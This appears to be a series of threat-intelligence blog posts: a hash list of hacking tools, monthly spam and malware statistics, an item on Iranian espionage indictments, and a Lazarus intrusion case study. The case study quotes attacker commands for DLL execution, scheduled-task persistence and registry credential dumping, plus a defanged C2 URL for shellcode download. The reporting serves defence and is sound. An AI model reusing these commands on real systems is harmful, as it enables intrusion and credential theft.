10b96290a17511ee7a772fcc254077f62a8045753129d73f0804f3da577d2793 a.exe LDAP enumerator tool
0dcfcdf92e85191de192b4478aba039cb1e1041b1ae7764555307e257aa566a7 intel.exe Mimikatz
415f9dc11fe242b7a548be09a51a42a4b5c0f9bc5c32aeffe7a98940b9c7fc04 tfc_windows_amd64.exe GO Socks5 client
947f7355aa6068ae38df876b2847d99a6ca458d67652e3f1486b6233db336088 deliver.exe Hacktool - CMD.exe injector
8d77fe4370c864167c1a712d0cc8fe124b10bd9d157ea59db58b42dea5007b63 tool.exe Hacktool - webshell encoder
d8cc2dc0a96126d71ed1fce73017d5b7c91465ccd4cdcff71712381af788c16d browser.exe Infostealer
e94a5bd23da1c6b4b8aec43314d4e5346178abe0584a43fa4a204f4a3f7464b9 python27.dll Recon DLL
5655a2981fa4821fe09c997c84839c16d582d65243c782f45e14c96a977c594e frpc.exe FRPC
19ec3f16a42ae58ab6feddc66d7eeecf91d7c61a0ac9cdc231da479088486169 ssf.exe SSF
41d174514ed71267aaff578340ff83ef00dbb07cb644d2b1302a18aa1ca5d2d0 intel_drive.exe LSASS dumping tool
67ebc03e4fbf1854a403ea1a3c6d9b19fd9dc2ae24c7048aafbbff76f1bea675 wsc.dll BlackLoader
f92cac1121271c2e55b34d4e493cb64cdb0d4626ee30dc77016eb7021bf63414 wsc.dll BlackLoader
859e76b6cda203e84a7b234c5cba169a7a02bf028a5b75e2ca8f1a35c4884065 smbver.exe SMB enumeration Tool
fcdec9d9b195b8ed827fb46f1530502816fe6a04b1f5e740fda2b126df2d9fd5 smb2os.exe SMB enumeration Tool
9584df964369c1141f9fc234c64253d8baeb9d7e3739b157db5f3607292787f2 ntmsvc.dll PrcLoader
711a347708e6d94da01e4ee3b6cdb9bcc96ebd8d95f35a14e1b67def2271b2e9 ntmsvc.dll PrcLoader
f040a173b954cdeadede3203a2021093b0458ed23727f849fc4c2676c67e25db ntmsvc.dll PrcLoader
90edb2c7c3ba86fecc90e80ac339a42bd89fbaa3f07d96d68835725b2e9de3ba ntmsvc.dll PrcLoader
b0d25b06e59b4cca93e40992fa0c0f36576364fcf1aca99160fd2a1faa5677a2 lsassunhooker.exe LsassUnhooker
4c55f48b37f3e4b83b6757109b6ee0a661876b41428345239007882993127397 ladon.exe Ladon
3e1c8d982b1257471ab1660b40112adf54f762c570091496b8623b0082840e9f nbt.exe NBTScan
9830f6abec64b276c9f327cf7c6817ad474b66ea61e4adcb8f914b324da46627 pot.exe PortScan
79ae300ac4f1bc7636fe44ce2faa7e5556493f7013fc5c0a3863f28df86a2060 rubes.e Rubeus
File hashes, simplified list
13df2d19f6d2719beeff3b882df1d3c9131a292cf097b27a0ffca5f45e139581
8f64c25ba85f8b77cfba3701bebde119f610afef6d9a5965a3ed51a4a4b9dead
8e98eed2ec14621feda75e07379650c05ce509113ea8d949b7367ce00fc7cd38
89e503c2db245a3db713661d491807aab3d7621c6aff00766bc6add892411ddc
c840e3cae2d280ff0b36eec2bf86ad35051906e484904136f0e478aa423d7744
5f16633dbf4e6ccf0b1d844b8ddfd56258dd6a2d1e4fb4641e2aa508d12a5075
ff4c2a91a97859de316b434c8d0cd5a31acb82be8c62b2df6e78c47f85e57740
14edb3de511a6dc896181d3a1bc87d1b5c443e6aea9eeae70dbca042a426fcf3
db5deded638829654fc1595327400ed2379c4a43e171870cfc0b5f015fad3a03
e244d1ef975fcebb529f0590acf4e7a0a91e7958722a9f2f5c5c05a23dda1d2c
f76e001a7ccf30af0706c9639ad3522fd8344ffbdf324307d8e82c5d52d350f2
dc182a0f39c5bb1c3a7ae259f06f338bb3d51a03e5b42903854cdc51d06fced6
fa5f32457d0ac4ec0a7e69464b57144c257a55e6367ff9410cf7d77ac5b20949
fe7a6954e18feddeeb6fcdaaa8ac9248c8185703c2505d7f249b03d8d8897104
341d8274cc1c53191458c8bbc746f428856295f86a61ab96c56cd97ee8736200
f3478ccd0e417f0dc3ba1d7d448be8725193a1e69f884a36a8c97006bf0aa0f4
750b541a5f43b0332ac32ec04329156157bf920f6a992113a140baab15fa4bd3
9f00cee1360a2035133e5b4568e890642eb556edd7c2e2f5600cf6e0bdcd5774
a9051dc5e6c06a8904bd8c82cdd6e6bd300994544af2eed72fe82df5f3336fc0
d62596889938442c34f9132c9587d1f35329925e011465c48c94aa4657c056c7
f0003e08c34f4f419c3304a2f87f10c514c2ade2c90a830b12fdf31d81b0af57
139c39e0dc8f8f4eb9b25b20669b4f30ffcbe2197e3a9f69d0043107d06a2cb4
11bb47cb7e51f5b7c42ce26cbff25c2728fa1163420f308a8b2045103978caf5
0abc1d12ef612490e37eedb1dd1833450b383349f13ddd3380b45f7aaabc8a75
eb3b4e82ddfdb118d700a853587c9589c93879f62f576e104a62bdaa5a338d7b
1ab4f52ff4e4f3aa992a77d0d36d52e796999d6fc1a109b9ae092a5d7492b7dd
fae713e25b667f1c42ebbea239f7b1e13ba5dc99b225251a82e65608b3710be7
1f09d177c99d429ae440393ac9835183d6fd1f1af596089cc01b68021e2e29a7
180970fce4a226de05df6d22339dd4ae03dfd5e451dcf2d464b663e86c824b8e
a6020794bd6749e0765966cd65ca6d5511581f47cc2b38e41cb1e7fddaa0b221
592e237925243cf65d30a0c95c91733db593da64c96281b70917a038da9156ae
929b771eabef5aa9e3fba8b6249a8796146a3a4febfd4e992d99327e533f9798
009d8d1594e9c8bc40a95590287f373776a62dad213963662da8c859a10ef3b4
ef08f376128b7afcd7912f67e2a90513626e2081fe9f93146983eb913c50c3a8
ee486e93f091a7ef98ee7e19562838565f3358caeff8f7d99c29a7e8c0286b28
32d837a4a32618cc9fc1386f0f74ecf526b16b6d9ab6c5f90fb5158012fe2f8c
d5df686bb202279ab56295252650b2c7c24f350d1a87a8a699f6034a8c0dd849
a1f9b76ddfdafc47d4a63a04313c577c0c2ffc6202083422b52a00803fd8193d
3ce38a2fc896b75c2f605c135297c4e0cddc9d93fc5b53fe0b92360781b5b94e
210934a2cc59e1f5af39aa5a18aae1d8c5da95d1a8f34c9cfc3ab42ecd37ac92
530c7d705d426ed61c6be85a3b2b49fd7b839e27f3af60eb16c5616827a2a436
5018fe25b7eac7dd7bc30c7747820e3c1649b537f11dbaa9ce6b788b361133bf
efa9e9e5da6fba14cb60cba5dbd3f180cb8f2bd153ca78bbacd03c270aefd894
a5a4dacddfc07ec9051fb7914a19f65c58aad44bbd3740d7b2b995262bd0c09e
10b96290a17511ee7a772fcc254077f62a8045753129d73f0804f3da577d2793
0dcfcdf92e85191de192b4478aba039cb1e1041b1ae7764555307e257aa566a7
415f9dc11fe242b7a548be09a51a42a4b5c0f9bc5c32aeffe7a98940b9c7fc04
947f7355aa6068ae38df876b2847d99a6ca458d67652e3f1486b6233db336088
8d77fe4370c864167c1a712d0cc8fe124b10bd9d157ea59db58b42dea5007b63
d8cc2dc0a96126d71ed1fce73017d5b7c91465ccd4cdcff71712381af788c16d
e94a5bd23da1c6b4b8aec43314d4e5346178abe0584a43fa4a204f4a3f7464b9
5655a2981fa4821fe09c997c84839c16d582d65243c782f45e14c96a977c594e
19ec3f16a42ae58ab6feddc66d7eeecf91d7c61a0ac9cdc231da479088486169
41d174514ed71267aaff578340ff83ef00dbb07cb644d2b1302a18aa1ca5d2d0
67ebc03e4fbf1854a403ea1a3c6d9b19fd9dc2ae24c7048aafbbff76f1bea675
f92cac1121271c2e55b34d4e493cb64cdb0d4626ee30dc77016eb7021bf63414
859e76b6cda203e84a7b234c5cba169a7a02bf028a5b75e2ca8f1a35c4884065
fcdec9d9b195b8ed827fb46f1530502816fe6a04b1f5e740fda2b126df2d9fd5
9584df964369c1141f9fc234c64253d8baeb9d7e3739b157db5f3607292787f2
711a347708e6d94da01e4ee3b6cdb9bcc96ebd8d95f35a14e1b67def2271b2e9
f040a173b954cdeadede3203a2021093b0458ed23727f849fc4c2676c67e25db
90edb2c7c3ba86fecc90e80ac339a42bd89fbaa3f07d96d68835725b2e9de3ba
b0d25b06e59b4cca93e40992fa0c0f36576364fcf1aca99160fd2a1faa5677a2
4c55f48b37f3e4b83b6757109b6ee0a661876b41428345239007882993127397
3e1c8d982b1257471ab1660b40112adf54f762c570091496b8623b0082840e9f
9830f6abec64b276c9f327cf7c6817ad474b66ea61e4adcb8f914b324da46627
79ae300ac4f1bc7636fe44ce2faa7e5556493f7013fc5c0a3863f28df86a2060
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Latest Intelligence for December 2017
We assess our year-end spam rate predictions, email bug could result in increased phishing attempts, and the number of Android apps used for cryptocurrency mining grows.
Some of the key takeaways from December’s Latest Intelligence, and the threat landscape in general, include year-end spam rates in line with our predictions, an email-spoofing bug, and an increase in Necurs activity.
Spam
In December the global spam rate declined slightly to 55.3 percent, down 0.2 percentage points from 55.5 percent in November. In the Email Threats whitepaper, published earlier in the year, we took a look at spam rates in half-year increments. While doing so we made a prediction that the spam rate would continue to increase in the second half of 2017, estimating that it would come in at around 55 percent. Now that the year has closed out, we can see that this prediction turned out to be very close. At 55.13 percent, the actual global spam rate for 2017 H2 came in just a little higher than we anticipated.
Figure 1. Symantec successfully predicted the spam rate would reach 55 percent in second half of 2017
The mining sector, which covers metal and coal mining, as well as oil and gas extraction, had the highest spam rate for December. Mining frequently appears at or near the top of the sector list for spam rates, having come out on top in 8 out of the last 12 months. For the year, the mining sector saw a spam rate of 58.8 percent.
Phishing
The phishing rate for December increased slightly to 1 in 2,109 emails. This marks two months of increases, after dropping to its lowest levels in six months last October. If current trends continue, we could soon see similar rates as those in June and July of last year, when phishing reached a 12-month high.
A recently uncovered email-crafting bug could allow attackers to easily spoof sender addresses and carry out code-injection attacks, possibly leading to an increase in phishing attempts. Dubbed “Mailsploit,” the newly discovered bug allows the encoding of non-ASCII characters inside of email headers, which are later decoded by the mail client as a spoofed email addresses. The method of execution varies depending on the client, but the security researcher who discovered it claims that the bug was found in over 30 applications. Whether this bug leads to an increase in the phishing rate remains to be seen.
Malware
The global email malware rate increased over December, bringing it up to 1 in 431 emails. While this is still below the rates seen from July through October, the overall month-on-month trend for the year has increased.
Figure 2. Overall month-on-month trend for 2017 saw the global email malware rate increase
Much of this malware activity, or the lack thereof, can be attributed to the Necurs botnet. This botnet all but disappeared around Christmas 2016, only reemerging in late March 2017. As a consequence, the email malware rate tanked in January, dropping from a December 2016 rate of 1 in 123 emails all the way down to 1 in 784 emails in January. As the year progressed the rate crept back up, though never quite reaching the highs seen in 2016. However, as October arrived, and on into November, the rate began to decline again.
While it appeared as though we could have been in store for another December hiatus on the part of the actors behind Necurs, this turned out not to be the case. In fact, the holiday period in late December saw elevated activity, which likely led to the increase in the email malware rate. We'll find out in the coming months whether this represents the start of another active period, or simply a year-end push by the Necurs actors before going on another hiatus.
Mobile
There was one new Android malware family discovered in December. Android.Anubisspy is a Trojan that could be used to monitor a phone user's activity, such as taking screenshots, recording phone calls, and stealing content such as text messages, browser history, or the contents of databases present. The threat can also install apps and execute commands on rooted devices.
Mobile devices have increasingly become the target of cryptocurrency miners, according to new research conducted by Symantec. The ubiquity and always-connected nature of mobile devices has led to an increase in the frequency such devices are targeted for cryptocurrency mining. In fact, the number of Android apps used for mining has increased 34 percent in 2017.
Figure 3. The number of Android apps used for cryptocurrency mining increased 34 percent in 2017
This is just a snapshot of the news for the month. Check out the Latest Intelligence for the big picture of the threat landscape with more charts, tables, and analysis.
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Latest Intelligence for February 2018
The Chafer attack group remains highly active, global spam rate declines, and the email malware rate rises again.
Some of the key takeaways from February’s Latest Intelligence, and the threat landscape in general, include the Chafer attack group mounts further operations against targets in the Middle East, the email malware rate remains low, and a mobile threat attempts to log into Facebook accounts to steal credentials.
Malware
After a significant drop last month, the email malware rate rose again in February. However, at 1 in 645 emails, the current rate is still quite a bit lower than what was generally seen in the second half of 2017. This is likely due to lower levels of email activity by the Necurs botnet, little of which served up malware during February.
Figure 1. The email malware rate rose again in February to 1 in 645 emails
The Chafer attack group has been observed carrying out further operations against organizations in the Middle East, according to new research by Symantec. The group has been seen working its way further into targets in the telecom and transport industries, using new tools to traverse the networks, primarily to carry out surveillance activities. This recent activity indicates that the group remains highly active, working to hone its tools and tactics.
Spam
The global spam rate declined slightly in February, dropping to 55.1 percent. However, the rate remains above 55 percent, as it has for 6 of the last 7 months. The Finance, Insurance, & Real Estate sector tops our list of industry spam rates, while last month’s top sector, Mining, dropped to fifth place.
Figure 2. The global spam rate declined slightly, dropping to 55.1 percent
While quiet on the email malware front, there were a couple large spam runs sent by the Necurs botnet during the month. The first run was a continuation of a run we mentioned last month: a classic fake romance-themed scam, using a simple subject line of “hi”. This scam continued into February and the lead-up to Valentine’s Day, offering the semblance of a romantic encounter in order to scam the user.
Hi [YOUR EMAIL HANDLE],
My name is [RANDOM NAME] and i'm writing you to tell you that you are super cute from your photos on Facebook.
I myself am from Russia, but now I live in the USA.
I want to get to know you more! If you have the same, email me, this is my email [PREDETERMINED DOMAIN].
Lets know each other better.
Cheers,
[RANDOM NAME]
The second major Necurs campaign came later in the month and contained an attached PDF with advertisements for online pharmaceuticals. The subject lines were a random “Offer”, “Discount”, “Sale”, “Coupon”, or “Final sale”, followed by a random 7- to 9-digit number.
Phishing
The phishing rate dropped in February, coming in at 1 in 3,331 emails. While slightly lower than January, overall rates have hovered in the 1 in 2,000-3,000 range for the last 10 months. The Agriculture, Forestry, & Fishing sector had the highest industry phishing rate with 1 in 1,854 emails, followed by Retail Trade at 1 in 2,505 emails.
A phishing scam mimicking a customer service notice from Netflix has been making the rounds, attempting to trick recipients into divulging personally identifiable information such as credit card numbers. The phishing emails attempt to trick a user into believing their Netflix membership will be suspended if they do not validate their billing information.
Mobile & Social Media
Manual sharing topped social media scams in February, comprising 62.78 percent of scams, while Fake Offers dropped more than 10 percentage points, from 29.75 percent to 19.49 percent. Coming in third for February, Like Jacking increased 1.29 percentage points at 17.25 percent.
A newly discovered version of the Fakeapp Android malware family has been discovered by Symantec researchers attempting to log into Facebook accounts in order to steal user names and passwords, as well as a variety of personal details available in the user’s profile. The threat gains access to the user’s account by displaying a fake login page once it has compromised the device. The threat will periodically display this message until the user credentials or the threat is removed.
Figure 3. Fake Facebook login dialog displayed by this Fakeapp variant
This is just a snapshot of the news for the month. Check out the Latest Intelligence for the big picture of the threat landscape with more charts, tables, and analysis.
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Latest Intelligence for January 2018
The Necurs botnet shifts from malicious emails to other email scam campaigns and the email malware rate declines.
Some of the key takeaways from January’s Latest Intelligence, and the threat landscape in general, include the Necurs botnet is seen pushing cryptocurrency-related email, a malware scam purports to come from the FBI, and a mobile threat says “Congratulations, you won!”
Malware
The email malware rate dropped in January, coming in at 1 in 786 emails. This decline mirrors the low rates that we saw in the first quarter of 2017, when activity by the Necurs botnet all but disappeared. This January, it appears that the folks behind Necurs have shifted tactics, moving away from malicious emails in order to push other email scams.
The most interesting of these scams appears to be a new pump-and-dump campaign pushing cryptocurrency. This isn’t the first time that Necurs has been involved in sending pump-and-dump email, though it is notable that the botnet was pushing a minor cryptocurrency called Swisscoin. Some of the common email subject lines seen include the following:
Could this digital currency actually make you a millionaire?
This crypto coin could go up fifty thousand percent this year
Let me tell you about one crypto currency that could turn 1000 bucks into 1 million
Forget about bitcoin, there's a way better coin you can buy.
It’s possible the Necurs operators are testing the cryptocurrency waters, resulting in a downturn in malicious emails as they do so. However, the largest email campaign pushed by Necurs in January was a run-of-the-mill dating scam. The subject lines simply said “hi” and appear to be attempts to establish correspondence with the recipient under the guise of a potential romantic encounter. Such scams generally lead to the attacker requesting the victim to wire money.
Figure 1. The email malware rate dropped in January to 1 in 786 emails
Spam
The overall spam rate remained constant in January, coming in at 55.3 percent again this month. This follows a twelve-month high in November and maintains spam rates above 55 percent in 5 of the last 6 months. The Mining sector leads industry related rates at 58.1 percent, followed by the Finance, Insurance, & Real Estate sector.
A recent spam campaign purporting to come from the FBI was seen targeting U.S. citizens in January. The emails, appearing to be messages from the Internet Crime Complaint Center (IC3) division, inform the recipient that they are due compensation from a previous cyber attack. The email asks them to fill out an attached form to claim monetary compensation, which if opened will attempt to compromise the user’s device with malware.
Phishing
The phishing rate decrease slightly in January, at 1 in 2,836 emails. The Finance, Insurance, & Real Estate sector had the highest phishing rate with 1 in 1,900 emails, followed closely by Agriculture, Forestry, & Fishing with a phishing rate at 1 in 1,993 emails.
An old and well-known desktop malware scam has recently made the jump to mobile devices. These “You won” scams have existed for years, and besides being tailored to mobile, appear to follow a familiar process. For instance, the user encounters a scam page spoofing a well-known grocery chain that appears to offer promotions or prizes if the user fills in a survey form. The forms ask the user to fill out personal information, which if provided, are sent to a remote server, potentially for use in further scams or for identify theft.
Social Media
Manual sharing topped social media scams in January, though its overall percentage dropped to 54 percent. There appears to have been a swing to fake offers in January, which increased 22.56 percentage points from 7.19 percent to 29.75 percent. Like jacking increased 2.21 percentage points at 15.96 percent and came in third for January.
Figure 2. Fake offers increased from 7.19 to 29.75 percent in January
This is just a snapshot of the news for the month. Check out the Latest Intelligence for the big picture of the threat landscape with more charts, tables, and analysis.
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Latest Intelligence for March 2018
The Inception Framework espionage group has been active and hiding in plain sight for three years, the email malware rate increases again, and browser-based coin mining without a browser emerges.
Some of the key takeaways from March’s Latest Intelligence, and the threat landscape in general, include an insight into what the Inception Framework group has been up to for the past three years, the email malware rate increases for the second month in a row, and malware that conducts browser-based cryptocurrency mining without a browser.
Malware
Following a significant drop in January (1 in 786 emails, down from 1 in 431 the previous month), the email malware rate rose in February and that increase continued into March. However, the increase was slight, up to 1 in 635 emails, compared to 1 in 645 for February. The Mining sector continued to have the highest email malware rate, increasing from 1 in 461 emails in February to 1 in 308 for March.
Figure 1. The email malware rate increased in March for the second month in a row
In March, Symantec discovered a new cryptocurrency mining malware (Trojan.Coinminer). However, this malware is not like most coinminers—it uses an interesting technique involving browser-based coin mining without any visible signs of a browser being used. One advantage of this type of threat for attackers is that coin mining may not be suspected for any CPU slowdown and instead the user may blame installed software for the problem.
Phishing
There was an increase in the rate of phishing emails in March, up from 1 in 3,331 emails in February to 1 in 2,981 in March. Agriculture, Forestry, & Fishing was the sector with the highest rate in March, with 1 in 1,394 received emails being a phishing attempt.
Figure 2. Agriculture, Forestry, & Fishing had the highest phishing rate in March
The cyber espionage group known as Inception Framework is using new types of lure documents in its spear-phishing campaigns and its malware has expanded to use new types of plugins, according to research published by Symantec in March. The group has remained active over the past three years, using cloud and the Internet of Things (IoT) to hide in plain sight. The group has been targeting organizations on several continents since 2014. It was first exposed by Blue Coat (now part of Symantec) in December 2014 targeting the Energy and Defense sectors, and organizations in the Consultancy/Security, Aerospace, Research, and Media sectors, in addition to embassies. However, the group appeared to fall quiet in late 2014 only to return in April 2015. Symantec has kept a close eye on the group’s activities, including changes in targeted regions.
Figure 3. The Inception Framework group uses cloud and IoT to hide in plain sight
Mobile
While there were no new Android malware families discovered in March, the threat to mobile devices is still as serious as ever. This is highlighted in this year’s ISTR (volume 23), which shows that new mobile malware variants increased by 54 percent in 2017, and an average of 24,000 malicious mobile applications were blocked by Symantec every single day.
Figure 4. Symantec blocked an average of 24,000 malicious mobile applications every day in 2017
Social media
Whenever there’s an event that generates interest online it’s inevitable that there will be scams trying to take advantage of the social media engagement that follows. This year’s Oscars ceremony was no exception and it wasn’t long before bots began targeting the Twitter accounts of award winners in order to spread gift card spam campaigns. The bots created fake accounts with similar handles to the real celebrities’ accounts. They then began replying to tweets in the real celebrities’ feeds. These replies contained spam links and were upvoted by other bot accounts so that the maximum number of people would see them.
This is just a snapshot of the news for the month. Check out the Latest Intelligence for the big picture of the threat landscape with more charts, tables, and analysis.
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Latest Intelligence for November 2017
Spam and phishing rates increase, and Symantec identifies a previously unknown cyber espionage group.
Some of the key takeaways from November’s Latest Intelligence, and the threat landscape in general, include increases in spam and phishing rates surrounding key shopping dates, new Android malware, and new research published regarding an attack group.
Spam
The spam rate increased in November, up 0.6 percentage points from October, following back-to-back months where the rate declined. At 55.5 percent, this is the highest spam rate seen since March 2015.
The month of November tends to come with elevated spam rates, having had the highest rate for 2016 and second-highest in 2015. Given how major shopping events in November, such as Black Friday, Cyber Monday, and Singles Day, tend to lead to an increase in email spam, these increases likely come as little surprise.
Figure 1. The spam rate in November was the highest seen since March 2015
In fact, over the Black Friday to Cyber Monday weekend, the Necurs botnet appears to have sent out a massive volume of spam. The particular campaign appears to be an attempt to compromise the email recipients’ computers with ransomware.
Phishing
The phishing rate also increased in November, where 1 in every 2,560 emails was a phishing attempt. This is the first monthly increase in the rate seen since it reached a 12-month high back in July of this year.
One particular scam seen in the lead up to Black Friday involved SMS and messaging apps, where the messages appear to come from legitimate companies. However, rather than legitimate offers, these messages attempt to steal personal information from the unsuspecting recipient.
Mobile
There were three new Android malware threats seen in November. Tying again into the holiday shopping period, two of these threats—Android.Doublehidden and Android.Fakeyouwon—display advertisements and present fake offers, respectively. The third threat, Android.Rootnik.B, installs a rootkit on the compromised device.
Figure 2. Three new Android malware families were discovered in November
Malware
The email malware rate declined slightly in November, dropping from 1 in 355 emails to 1 in 505. This is the lowest rate seen since April, 2017 and declines were seen across all industry sectors and organization sizes.
In November, Symantec identified an attack group targeting specific organizations in South America and Southeast Asia. Dubbed Sowbug, the group has been observed stealing documents from the organizations that it manages to break into, most of which appear to be foreign policy and diplomatic targets.
Figure 3. Symantec published details on the Sowbug cyber espionage group in November
This is just a snapshot of the news for the month. Check out the Latest Intelligence for the big picture of the threat landscape with more charts, tables, and analysis.
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Latest U.S. Indictments Target Iranian Espionage Actors
Three Iranian men have been charged in the U.S. in relation to espionage-linked attacks. Sanctions also imposed on Iranian Chafer group.
UPDATE September 22: We have made some edits to this blog. An earlier version inaccurately described the links to the Elfin group as "strong".
The U.S. government has indicted three Iranian nationals on charges related to cyber attacks against aerospace and satellite technology companies. Said Pourkarim Arabi, Mohammad Reza Espargham, and Mohammad Bayati are alleged to have carried out a string of attacks between 2015 and 2019 which resulted in the theft of sensitive commercial information, intellectual property, and personal data from targeted organizations.
According to the indictment, Arabi is a member of Iran’s Islamic Revolutionary Guard Corps (IRGC) and carried out the attacks with Espargham and Bayati on behalf of the IRGC. Espargham is alleged to be the leader of an Iranian hacking group known as the Iranian Dark Coders Team, while Bayati is alleged to be a malware developer who shared tools with Arabi and Espargham.
The men are said to have obtained the names of individuals working in the aerospace and satellite industry, created fake accounts in their names, and used them to send spear-phishing emails to targeted organizations. If victims clicked on a malicious link within the email, malware would be installed on their computers. Once on the victim’s network, the attackers would escalate privileges, steal credentials, move laterally across the network, and deploy further malware on computers before exfiltrating data.
Possible Elfin link?
Although not referenced specifically in the indictment, the attacks appear to have some links to the Elfin (aka APT33) cyber espionage group. Aside from the fact that the targets and tactics described in the indictment closely resemble Elfin activity observed by Symantec, there is also a commonality in tools used. According to the indictment, one of the main malware tools used in the attacks was the Nanocore RAT (Trojan.Nancrat). Although it was publicly available, Symantec has observed Elfin make extensive use of Nanocore. While we haven’t observed any other Iranian group utilizing this tool, other vendors have found cases.
Who are Elfin?
Symantec has been tracking Elfin since late 2015. Aside from compromising its victims with spear-phishing emails, the group is also known for scanning for vulnerable websites, either for potential victims or for use as command and control (C&C) infrastructure. To date it has compromised a wide range of targets, including governments along with organizations in the research, chemical, engineering, manufacturing, consulting, finance, telecoms, and several other sectors. Aside from the U.S, Elfin is also heavily focused on targets in Saudi Arabia, which accounted for 42 percent of attacks observed by Symantec between the start of 2016 and March 2019. During this time, Symantec also identified possible links to the destructive Shamoon group.
Recent attacks
Symantec has observed multiple Elfin campaigns over the past 18 months. In February 2019, the group attempted to exploit a known vulnerability (CVE-2018-20250) in WinRAR in order to compromise an organization in the chemical sector in Saudi Arabia.
In June 2019, Elfin sent out a phishing email to hundreds of recipients across multiple countries in what appeared to be an opportunistic trawling attack. The link within the document led recipients to dynamic DNS infrastructure controlled by the group.
Subsequently, in late August 2019, Elfin compromised a victim in Saudi Arabia with a malicious HTA file. Following the initial compromise, Elfin continued to rely on the group’s known tools, tactics, and procedures (TTPs) to strengthen its foothold. During the incident, the legitimate utility mshta.exe executed a malicious HTA file with a job application theme. The file was downloaded after a victim used Microsoft Edge to visit a malicious website. A PowerShell command then downloaded a JPG file from a dynamic DNS host spoofing a U.S. defense contractor.
Chafer alert and sanctions
In a separate announcement, the FBI has also issued a new cyber security advisory about an Iranian company called Rana Intelligence Computing Company, which it says is a front for the Chafer (aka APT39) cyber espionage group, which is linked to the Iranian Ministry of Intelligence and Security (MOIS). The FBI said Rana had systematically targeted and monitored Iranian citizens, dissidents, and journalists, along with government networks of Iran’s neighboring countries, and foreign organizations in the travel, academic, and telecommunications sectors.
Simultaneously, the U.S. Treasury Department’s Office of Foreign Assets Control (OFAC) imposed sanctions on Rana, Chafer, and a number of named individuals who work for MOIS.
Chafer has been active since at least July 2014 and its activities were first exposed by Symantec in December 2015, when it was found to be conducting targeted surveillance of domestic and international targets.
In 2018 Symantec observed it mounting a number of ambitious new attacks including the compromise of a major telecoms services provider in the Middle East.
Increased pressure
State-sponsored espionage actors appear to be firmly in the sights of the U.S. Justice and Treasury Departments. These indictments and sanctions may generate an unwelcome amount of publicity and disruption for groups that may have believed they were operating with a degree of anonymity.
Protection/Mitigation
Symantec has the following protection in place to protect customers against Elfin attacks:
File-based protection
Backdoor.Notestuk
Trojan.Stonedrill
Backdoor.Remvio
Backdoor.Breut
Trojan.Quasar
Backdoor.Patpoopy
Trojan.Nancrat
Trojan.Netweird.B
Exp.CVE-2018-20250
SecurityRisk.LaZagne
Hacktool.Mimikatz
SniffPass
Symantec has the following protection in place to protect customers against Chafer attacks:
File-based protection
Backdoor.Remexi
Backdoor.Remexi.B
Hacktool.Mimikatz
Pwdump
IPS: network-based protection
System Infected: Backdoor.Remexi Activity
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Lazarus Targets Chemical Sector
Continuation of Operation Dream Job sees North Korea-linked APT target orgs in espionage campaign.
Symantec, a division of Broadcom Software, has observed the North Korea-linked advanced persistent threat (APT) group known as Lazarus conducting an espionage campaign targeting organizations operating within the chemical sector. The campaign appears to be a continuation of Lazarus activity dubbed Operation Dream Job, which was first observed in August 2020. Symantec tracks this sub-set of Lazarus activity under the name Pompilus.
Operation Dream Job
Operation Dream Job involves Lazarus using fake job offers as a means of luring victims into clicking on malicious links or opening malicious attachments that eventually lead to the installation of malware used for espionage.
Past Dream Job campaigns have targeted individuals in the defense, government, and engineering sectors in activity observed in August 2020 and July 2021.
Recently targeted sectors
In January 2022, Symantec detected attack activity on the networks of a number of organizations based in South Korea. The organizations were mainly in the chemical sector, with some being in the information technology (IT) sector. However, it is likely the IT targets were used as a means to gain access to chemical sector organizations.
There is sufficient evidence to suggest that this recent activity is a continuation of Operation Dream Job. That evidence includes file hashes, file names, and tools that were observed in previous Dream Job campaigns.
A typical attack begins when a malicious HTM file is received, likely as a malicious link in an email or downloaded from the web. The HTM file is copied to a DLL file called scskapplink.dll and injected into the legitimate system management software INISAFE Web EX Client.
The scskapplink.dll file is typically a signed Trojanized tool with malicious exports added. The attackers have been observed using the following signatures: DOCTER USA, INC and "A" MEDICAL OFFICE, PLLC
Next, scskapplink.dll downloads and executes an additional payload from a command-and-control (C&C) server with the URL parameter key/values "prd_fld=racket".
This step kicks off a chain of shellcode loaders that download and execute arbitrary commands from the attackers, as well as additional malware, which are usually executed from malicious exports added to Trojanized tools such as the Tukaani project LZMA Utils library (XZ Utils).
The attackers move laterally on the network using Windows Management Instrumentation (WMI) and inject into MagicLine by DreamSecurity on other machines.
In some instances, the attackers were spotted dumping credentials from the registry, installing a BAT file in a likely effort to gain persistence, and using a scheduled task configured to run as a specific user.
The attackers were also observed deploying post-compromise tools, including a tool used to take screenshots of web pages viewed on the compromised machine at set intervals (SiteShoter). They were also seen using an IP logging tool (IP Logger), a protocol used to turn computers on remotely (WakeOnLAN), a file and directory copier (FastCopy), and the File Transfer Protocol (FTP) executed under the MagicLine process.
Case study
The following is a case study detailing step-by-step attacker activity on an organization in the chemical sector.
January 17, 2022
00:51 – A malicious HTM file is received:
e31af5131a095fbc884c56068e19b0c98636d95f93c257a0c829ec3f3cc8e4ba - csidl_profile\appdata\local\microsoft\windows\inetcache\ie\3tygrjkm\join_06[1].htm
The HTM file is copied to a DLL file:
rundll32.exe CSIDL_PROFILE\public\scskapplink.dll,netsetcookie Cnusrmgr
This DLL file is injected into the legitimate system management software INISAFE Web EX Client. The file is a signed Trojanized version of the ComparePlus plugin for Notepad++ with malicious exports added.
01:02 – The file is run and downloads and executes a backdoor payload (final.cpl - 5f20cc6a6a82b940670a0f89eda5d68f091073091394c362bfcaf52145b058db) from a command-and-control (C&C) server with the URL parameter key/values "prd_fld=racket".
The file final.cpl is a Trojanized version of the Tukaani project LZMA Utils library (XZ Utils) with a malicious export added (AppMgmt).
The malware connects to, downloads, decodes, and executes shellcode from the following remote location:
hxxp[:]//happy[.]nanoace.co.kr/Content/rating/themes/krajee-fas/FrmAMEISMngWeb.asp
01:04 – Another CPL file (61e305d6325b1ffb6de329f1eb5b3a6bcafa26c856861a8200d717df0dec48c4) is executed. This file, again, is a Trojanized version of LZMA Utils with a malicious added export.
01:13 – The shellcode loader (final.cpl) is executed again several times.
01:38 – Commands are executed to dump credentials from the SAM and SYSTEM registry hives.
Over the next several hours, the attackers run unknown shellcode via final.cpl at various intervals, likely to collect the dumped system hives, among other things.
06:41 – The attackers create a scheduled task to ensure persistence between system reboots:
schtasks /create /RU [REDACTED].help\175287 /ST 15:42 /TR "cmd.exe /c C:\ProgramData\Intel\Intel.bat" /tn arm /sc MINUTE
The scheduled task instructs the system to execute 'Intel.bat' as user ‘[REDACTED].help/175287’ starting at 15:42 then every minute under the scheduled task name ‘arm’. It's unclear if this was an account that was cracked via the dumped registry hives or an account the attackers were able to create with admin rights.
The attackers were also observed installing Cryptodome (PyCrypto fork) Python encryption modules via CPL files.
